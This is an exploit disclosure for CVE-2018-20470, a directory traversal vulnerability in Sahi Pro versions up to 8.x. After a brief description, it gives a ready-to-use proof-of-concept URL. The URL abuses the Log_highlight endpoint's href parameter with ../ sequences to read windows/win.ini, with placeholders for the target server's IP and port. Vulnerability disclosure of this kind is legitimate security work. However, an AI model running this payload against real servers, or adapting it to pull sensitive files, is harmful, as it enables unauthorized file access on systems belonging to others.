Share
# Exploit Title: Sahi pro ( <= 8.x ) Directory traversal  
# Date: 17-06-2019  
# Exploit Author: Goutham Madhwaraj ( https://barriersec.com )  
# Vendor Homepage: https://sahipro.com/  
# Software Link: https://sahipro.com/downloads-archive/  
# Version: 7.x , <= 8.x  
# Tested on: Windows 10  
# CVE : CVE-2018-20470  
  
  
Description :  
  
An issue was discovered in Tyto Sahi Pro through 7.x.x and 8.0.0. A directory traversal (arbitrary file access) vulnerability exists in the web reports module. This allows an outside attacker to view contents of sensitive files.  
  
POC :  
  
vulnerable URL :  
  
''' replace the ip and port of the remote sahi pro server machine '''  
  
  
http://<ip>:<port>/_s_/dyn/Log_highlight?href=../../../../windows/win.ini&n=1#selected